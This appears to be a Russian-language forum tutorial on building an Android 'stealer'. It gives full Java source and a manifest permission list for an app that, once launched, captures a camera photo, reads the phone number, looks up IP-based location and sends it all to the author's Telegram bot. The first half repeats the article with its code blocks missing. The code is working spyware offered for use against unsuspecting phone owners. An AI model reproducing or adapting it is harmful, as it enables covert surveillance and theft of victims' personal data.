Привет, решил написать статью про создание простого stealer для android в целях получения фото с камеры + данных о телефоне.
В процессе этой небольшой статьи я расскажу а главное покажу как создать steler который будет получать такие данные как: Модель телефона, Место где телефон находится(Точная странна и предположительный город) и самое главное что мы получаем номер телефона доступ к камере.
Создание:
Для начала важно сказать что всё будет на писано на Java, без использования сервера так как данные будет идти напрямую через тг бот по user id.
Всё что вам нужно написать в строке BOT_TOKEN токен вашего бота а в строке CHAT_ID ваш chat id.
Код: Скопировать в буфер обмена
Ваш chat id можно узнать написав вашему боту сообщение а потом перейдя по данной ссылке: https://api.telegram.org/bot<Токен вашего бота>/getUpdates
Там вам нужно найти строку "chat": "id" после которых будет идти ваш chad id.
Разрешения:
1. Чтоб получить доступ к нужным функциям для начало нужно прописать uses-permission в файле AndroidManifest.xml
Разрешения:
XML: Скопировать в буфер обмена
2. Далее надо прописать запрос разрешений в java коде, в моём случае это MainActivity.java:
Java: Скопировать в буфер обмена
Рабата с камерой:
1. Захват изображения
Для захвата изображения нам надо:
Java: Скопировать в буфер обмена
Когда изображение будет доступно вызываем метод onImageAvailableListener для его обработки
2. Cохраняем изображение
В далее идущем коде показан метод который сохраняет полученные байты изображения в файл.Далее он создает файл photo.jpg в каталоге кеша приложения и записывает туда данные. После записи возвращает файл для дальнейшего использования.
Код:
Java: Скопировать в буфер обмена
Получение информации о местоположении по IP
Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе IP-адреса. Ответ от сервера в формате JSON содержит такие поля, как город (city) и страна (country). Эти значения извлекаются и возвращаются как строка. Если запрос не удается, возвращается сообщение об ошибке.
Код:
Java: Скопировать в буфер обмена
Отправка данных в Telegram
Java: Скопировать в буфер обмена
Этот метод формирует сообщение, которое отправляется в Telegram. Он:
Java: Скопировать в буфер обмена
Метод отправляет два типа данных в Telegram:
Java: Скопировать в буфер обмена
Эти методы запускают и останавливают фоновый поток для работы с камерой. Фоновый поток необходим для выполнения долгих операций (например, захват изображений), чтобы они не блокировали основной поток приложения. Метод startBackgroundThread() запускает новый поток, а stopBackgroundThread() завершает его безопасно.
Java: Скопировать в буфер обмена
После выполнения кода вам придёт лог следующего вида:
Спасибо за внимание! Надеюсь статья была полезной.
С радостью отвечу на любые вопросы или предложения в комментариях.
В процессе этой небольшой статьи я расскажу а главное покажу как создать steler который будет получать такие данные как: Модель телефона, Место где телефон находится(Точная странна и предположительный город) и самое главное что мы получаем номер телефона доступ к камере.
Создание:
Для начала важно сказать что всё будет на писано на Java, без использования сервера так как данные будет идти напрямую через тг бот по user id.
Инициализация Telegram-бота
В вашем коде Telegram-бот инициализируется и используется для отправки сообщений.Всё что вам нужно написать в строке BOT_TOKEN токен вашего бота а в строке CHAT_ID ваш chat id.
Код: Скопировать в буфер обмена
Code:
private static final String BOT_TOKEN = "Токен бота";
private static final String CHAT_ID = "chat id";
Ваш chat id можно узнать написав вашему боту сообщение а потом перейдя по данной ссылке: https://api.telegram.org/bot<Токен вашего бота>/getUpdates
Там вам нужно найти строку "chat": "id" после которых будет идти ваш chad id.
Разрешения:
1. Чтоб получить доступ к нужным функциям для начало нужно прописать uses-permission в файле AndroidManifest.xml
Разрешения:
XML: Скопировать в буфер обмена
Code:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.CAMERA" />
2. Далее надо прописать запрос разрешений в java коде, в моём случае это MainActivity.java:
Java: Скопировать в буфер обмена
Code:
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
PERMISSION_REQUEST_CODE);
} else {
startBackgroundThread();
openCamera();
}
Рабата с камерой:
1. Захват изображения
Для захвата изображения нам надо:
- Получаем список доступных камер через CameraManager.
- Открыть первую камеру(Основная) либо вторую если вам нужна фронталка.
- Настраиваем ImageReader, который будет получать изображения с камеры в формате JPEG.
- Запускаем фоновый поток для захвата изображения.
Java: Скопировать в буфер обмена
Code:
private void openCamera() {
CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
try {
String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
Size[] sizes = manager.getCameraCharacteristics(cameraId)
.get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
.getOutputSizes(ImageReader.class);
imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
manager.openCamera(cameraId, stateCallback, backgroundHandler);
}
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
Когда изображение будет доступно вызываем метод onImageAvailableListener для его обработки
2. Cохраняем изображение
В далее идущем коде показан метод который сохраняет полученные байты изображения в файл.Далее он создает файл photo.jpg в каталоге кеша приложения и записывает туда данные. После записи возвращает файл для дальнейшего использования.
Код:
Java: Скопировать в буфер обмена
Code:
private File saveImageToFile(byte[] bytes) {
File file = new File(getCacheDir(), "photo.jpg");
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
return file;
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
Получение информации о местоположении по IP
Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе IP-адреса. Ответ от сервера в формате JSON содержит такие поля, как город (city) и страна (country). Эти значения извлекаются и возвращаются как строка. Если запрос не удается, возвращается сообщение об ошибке.
Код:
Java: Скопировать в буфер обмена
Code:
private String getLocationFromIP() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
.url("https://ipinfo.io/json")
.build();
try {
Response response = client.newCall(request).execute();
if (response.isSuccessful()) {
String json = response.body().string();
JSONObject jsonObject = new JSONObject(json);
// Проверяем наличие данных о городе и стране
String city = jsonObject.optString("city", "Неизвестный город");
String country = jsonObject.optString("country", "Неизвестная страна");
return city + ", " + country;
} else {
Log.e("LocationError", "Response unsuccessful: " + response.code());
}
} catch (IOException | JSONException e) {
e.printStackTrace();
Log.e("LocationError", "Error getting location: " + e.getMessage());
}
return "Не удалось определить местоположение";
}
Отправка данных в Telegram
Java: Скопировать в буфер обмена
Code:
private void sendDeviceInfo(File photoFile) {
String phoneNumber = getPhoneNumber();
String manufacturer = android.os.Build.MANUFACTURER;
String model = android.os.Build.MODEL;
String version = android.os.Build.VERSION.RELEASE;
String location = getLocationFromIP();
String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
"Устройство: " + manufacturer + " " + model + "\n" +
"Версия Android: " + version + "\n" +
"Местоположение: " + location;
sendMessageToTelegram(message, photoFile);
}
Этот метод формирует сообщение, которое отправляется в Telegram. Он:
- Получает информацию о телефоне (номер телефона, производитель, модель, версия Android).
- Получает местоположение устройства (город и страна) с помощью метода getLocationFromIP().
- Формирует строку сообщения, которое отправляется в Telegram
Java: Скопировать в буфер обмена
Code:
private void sendMessageToTelegram(String message, File photoFile) {
OkHttpClient client = new OkHttpClient();
// Отправка текстового сообщения
RequestBody formBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("text", message)
.build();
Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
.post(formBody)
.build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
Log.e("Telegram", "Failed to send message: " + e.getMessage());
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
Log.e("Telegram", "Failed to send message: " + response.message());
}
}
});
// Отправка фото
RequestBody photoBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("photo", photoFile.getName(),
RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
.build();
Request photoRequest = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
.post(photoBody)
.build();
client.newCall(photoRequest).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
Log.e("Telegram", "Failed to send photo: " + e.getMessage());
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
Log.e("Telegram", "Failed to send photo: " + response.message());
}
}
});
}
Метод отправляет два типа данных в Telegram:
- Текстовое сообщение: Оно содержит информацию о телефоне, устройстве, версии Android и местоположении.
- Фотографию: Файл с изображением отправляется с использованием того же Telegram Bot API.
- Один для текстового сообщения (sendMessage).
- Другой для отправки фотографии (sendPhoto).
Java: Скопировать в буфер обмена
Code:
private void startBackgroundThread() {
backgroundThread = new HandlerThread("CameraBackground");
backgroundThread.start();
backgroundHandler = new Handler(backgroundThread.getLooper());
}
private void stopBackgroundThread() {
if (backgroundThread != null) {
backgroundThread.quitSafely();
try {
backgroundThread.join();
backgroundThread = null;
backgroundHandler = null;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
Эти методы запускают и останавливают фоновый поток для работы с камерой. Фоновый поток необходим для выполнения долгих операций (например, захват изображений), чтобы они не блокировали основной поток приложения. Метод startBackgroundThread() запускает новый поток, а stopBackgroundThread() завершает его безопасно.
Общий принцип работы:
- Пользователь запускает приложение, и система проверяет разрешения для доступа к камере и телефону.
- После получения разрешений открывается камера и начинается захват изображений.
- Когда фотография сделана, она сохраняется в файл, а затем отправляется в Telegram вместе с системной информацией (например, номер телефона, модель устройства) и местоположением (полученным по IP
Java: Скопировать в буфер обмена
Code:
package com.example.myapplication;
import android.Manifest;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
import android.media.Image;
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Arrays;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
public class MainActivity extends AppCompatActivity {
private static final int PERMISSION_REQUEST_CODE = 1;
private static final String BOT_TOKEN = "Токен бота";
private static final String CHAT_ID = "Chat id";
private CameraDevice cameraDevice;
private ImageReader imageReader;
private Handler backgroundHandler;
private HandlerThread backgroundThread;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
checkAndRequestPermissions();
}
private void checkAndRequestPermissions() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
PERMISSION_REQUEST_CODE);
} else {
startBackgroundThread();
openCamera();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == PERMISSION_REQUEST_CODE) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startBackgroundThread();
openCamera();
} else {
Toast.makeText(this, "Разрешения не предоставлены", Toast.LENGTH_SHORT).show();
}
}
}
private void openCamera() {
CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
try {
String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
Size[] sizes = manager.getCameraCharacteristics(cameraId)
.get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
.getOutputSizes(ImageReader.class);
imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
manager.openCamera(cameraId, stateCallback, backgroundHandler);
}
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
private final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() {
@Override
public void onOpened(@NonNull CameraDevice camera) {
cameraDevice = camera;
createCameraCaptureSession();
}
@Override
public void onDisconnected(@NonNull CameraDevice camera) {
camera.close();
cameraDevice = null;
}
@Override
public void onError(@NonNull CameraDevice camera, int error) {
camera.close();
cameraDevice = null;
}
};
private void createCameraCaptureSession() {
try {
Surface surface = imageReader.getSurface();
CaptureRequest.Builder captureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
captureRequestBuilder.addTarget(surface);
captureRequestBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO);
cameraDevice.createCaptureSession(Arrays.asList(surface), new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(@NonNull CameraCaptureSession session) {
try {
session.capture(captureRequestBuilder.build(), null, backgroundHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
@Override
public void onConfigureFailed(@NonNull CameraCaptureSession session) {
Log.e("CameraCaptureSession", "Configuration failed");
}
}, backgroundHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
private final ImageReader.OnImageAvailableListener onImageAvailableListener = new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
Image image = reader.acquireLatestImage();
if (image != null) {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
image.close();
File photoFile = saveImageToFile(bytes);
if (photoFile != null) {
sendDeviceInfo(photoFile);
}
}
}
};
private File saveImageToFile(byte[] bytes) {
File file = new File(getCacheDir(), "photo.jpg");
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
return file;
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
private void sendDeviceInfo(File photoFile) {
String phoneNumber = getPhoneNumber();
String manufacturer = android.os.Build.MANUFACTURER;
String model = android.os.Build.MODEL;
String version = android.os.Build.VERSION.RELEASE;
String location = getLocationFromIP();
String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
"Устройство: " + manufacturer + " " + model + "\n" +
"Версия Android: " + version + "\n" +
"Страна и предполагаемый город: " + location;
sendMessageToTelegram(message, photoFile);
}
private String getPhoneNumber() {
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
return telephonyManager.getLine1Number();
}
return null;
}
private String getLocationFromIP() {
OkHttpClient client = new OkHttpClient();
// Используем HTTPS для безопасного запроса
Request request = new Request.Builder()
.url("https://ipinfo.io/json")
.build();
try {
Response response = client.newCall(request).execute();
if (response.isSuccessful()) {
String json = response.body().string();
JSONObject jsonObject = new JSONObject(json);
// Проверяем наличие данных о городе и стране
String city = jsonObject.optString("city", "Неизвестный город");
String country = jsonObject.optString("country", "Неизвестная страна");
Log.d("LocationInfo", "City: " + city + ", Country: " + country);
return city + ", " + country;
} else {
Log.e("LocationError", "Response unsuccessful: " + response.code());
}
} catch (IOException e) {
e.printStackTrace();
Log.e("LocationError", "IOException: " + e.getMessage());
} catch (JSONException e) {
e.printStackTrace();
Log.e("LocationError", "JSONException: " + e.getMessage());
}
return "Не удалось определить местоположение";
}
private void sendMessageToTelegram(String message, File photoFile) {
OkHttpClient client = new OkHttpClient();
// Отправка текстового сообщения
RequestBody formBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("text", message)
.build();
Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
.post(formBody)
.build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
Log.e("Telegram", "Failed to send message: " + e.getMessage());
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
Log.e("Telegram", "Failed to send message: " + response.message());
}
}
});
// Отправка фото
RequestBody photoBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("photo", photoFile.getName(),
RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
.build();
Request photoRequest = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
.post(photoBody)
.build();
client.newCall(photoRequest).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
Log.e("Telegram", "Failed to send photo: " + e.getMessage());
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
Log.e("Telegram", "Failed to send photo: " + response.message());
}
}
});
}
private void startBackgroundThread() {
backgroundThread = new HandlerThread("CameraBackground");
backgroundThread.start();
backgroundHandler = new Handler(backgroundThread.getLooper());
}
@Override
protected void onPause() {
super.onPause();
closeCamera();
stopBackgroundThread();
}
private void closeCamera() {
if (cameraDevice != null) {
cameraDevice.close();
cameraDevice = null;
}
}
private void stopBackgroundThread() {
if (backgroundThread != null) {
backgroundThread.quitSafely();
try {
backgroundThread.join();
backgroundThread = null;
backgroundHandler = null;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
После выполнения кода вам придёт лог следующего вида:
Спасибо за внимание! Надеюсь статья была полезной.
С радостью отвечу на любые вопросы или предложения в комментариях.